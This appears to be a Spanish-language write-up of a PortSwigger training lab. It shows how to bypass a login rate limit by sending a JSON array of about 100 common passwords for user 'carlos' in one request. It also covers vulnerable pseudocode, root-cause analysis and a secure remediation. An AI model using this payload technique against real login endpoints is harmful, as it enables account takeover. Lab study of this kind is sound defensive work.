← Writeups

Broken Brute-Force Protection — Multiple Credentials per Request — PortSwigger Lab

Bypass del rate limit de /login enviando un array JSON en el campo password: cada elemento se evalúa como un intento independiente dentro de una única request.

Broken Brute-Force Protection — Multiple Credentials per Request

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable POST /login (JSON)
Root cause El backend no valida el tipo del campo password y procesa cada elemento de un array como intento independiente, sin incrementar el contador de rate limit por verificación

El login acepta JSON y el campo password puede ser un array. El servidor itera sobre cada elemento como si fuera una contraseña distinta dentro de la misma request, de modo que una sola petición HTTP prueba cientos de credenciales y el rate limit — que cuenta requests, no verificaciones — nunca se dispara.

2. Technical Breakdown & Exploitation Flow

2.1 Payload de fuerza bruta agregada

Se sustituye password por un array con el wordlist completo de candidatos para el usuario carlos:

{
    "username": "carlos",
    "password": [
        "123456",
        "password",
        "12345678",
        "qwerty",
        "123456789",
        "12345",
        "1234",
        "111111",
        "1234567",
        "dragon",
        "123123",
        "baseball",
        "abc123",
        "football",
        "monkey",
        "letmein",
        "shadow",
        "master",
        "666666",
        "qwertyuiop",
        "123321",
        "mustang",
        "1234567890",
        "michael",
        "654321",
        "superman",
        "1qaz2wsx",
        "7777777",
        "121212",
        "000000",
        "qazwsx",
        "123qwe",
        "killer",
        "trustno1",
        "jordan",
        "jennifer",
        "zxcvbnm",
        "asdfgh",
        "hunter",
        "buster",
        "soccer",
        "harley",
        "batman",
        "andrew",
        "tigger",
        "sunshine",
        "iloveyou",
        "2000",
        "charlie",
        "robert",
        "thomas",
        "hockey",
        "ranger",
        "daniel",
        "starwars",
        "klaster",
        "112233",
        "george",
        "computer",
        "michelle",
        "jessica",
        "pepper",
        "1111",
        "zxcvbn",
        "555555",
        "11111111",
        "131313",
        "freedom",
        "777777",
        "pass",
        "maggie",
        "159753",
        "aaaaaa",
        "ginger",
        "princess",
        "joshua",
        "cheese",
        "amanda",
        "summer",
        "love",
        "ashley",
        "nicole",
        "chelsea",
        "biteme",
        "matthew",
        "access",
        "yankees",
        "987654321",
        "dallas",
        "austin",
        "thunder",
        "taylor",
        "matrix",
        "mobilemail",
        "mom",
        "monitor",
        "monitoring",
        "montana",
        "moon",
        "moscow"
    ],
    "": ""
}

2.2 Resultado

El servidor evalúa cada elemento del array contra carlos. Cuando una contraseña es correcta se emite una sesión (redirect 302); los fallos se descartan dentro del mismo ciclo. La protección de rate limiting queda completamente eludida porque solo se ejecuta una request HTTP.

3. Root Cause Analysis

El fallo combina validación de tipos deficiente con un contador de rate limit mal ubicado:

# Implementación vulnerable
data = parse_json(request.body)

username = data.username
password = data.password        # ❌ Puede ser string o array

if is_array(password):
    for p in password:                        # ❌ Múltiples intentos en 1 request
        if valid_credentials(username, p):
            create_session(username)
            return success()
else:
    if valid_credentials(username, password):
        create_session(username)
        return success()

increment_rate_limit(request.ip)   # ❌ Solo 1 incremento por request HTTP

El contador de intentos está ligado al número de requests HTTP y no al número real de verificaciones de credenciales ejecutadas. Es un caso de Improper Input Validation + Broken Brute-Force Protection según OWASP.

4. Secure Remediation

Validar estrictamente el tipo de dato y medir el rate limit por verificación:

# Implementación segura
data = parse_json(request.body)

if not is_string(data.password):
    return error("Invalid input type")        # Rechaza arrays y estructuras anómalas

if rate_limit_exceeded(username, request.ip):
    deny()

if valid_credentials(username, data.password):
    create_session(username)
else:
    increment_rate_limit(username, request.ip)
    return generic_error()

El límite debe aplicarse por combinación usuario+IP (o usuario solamente) y decrementarse por cada intento real de verificación, no por request.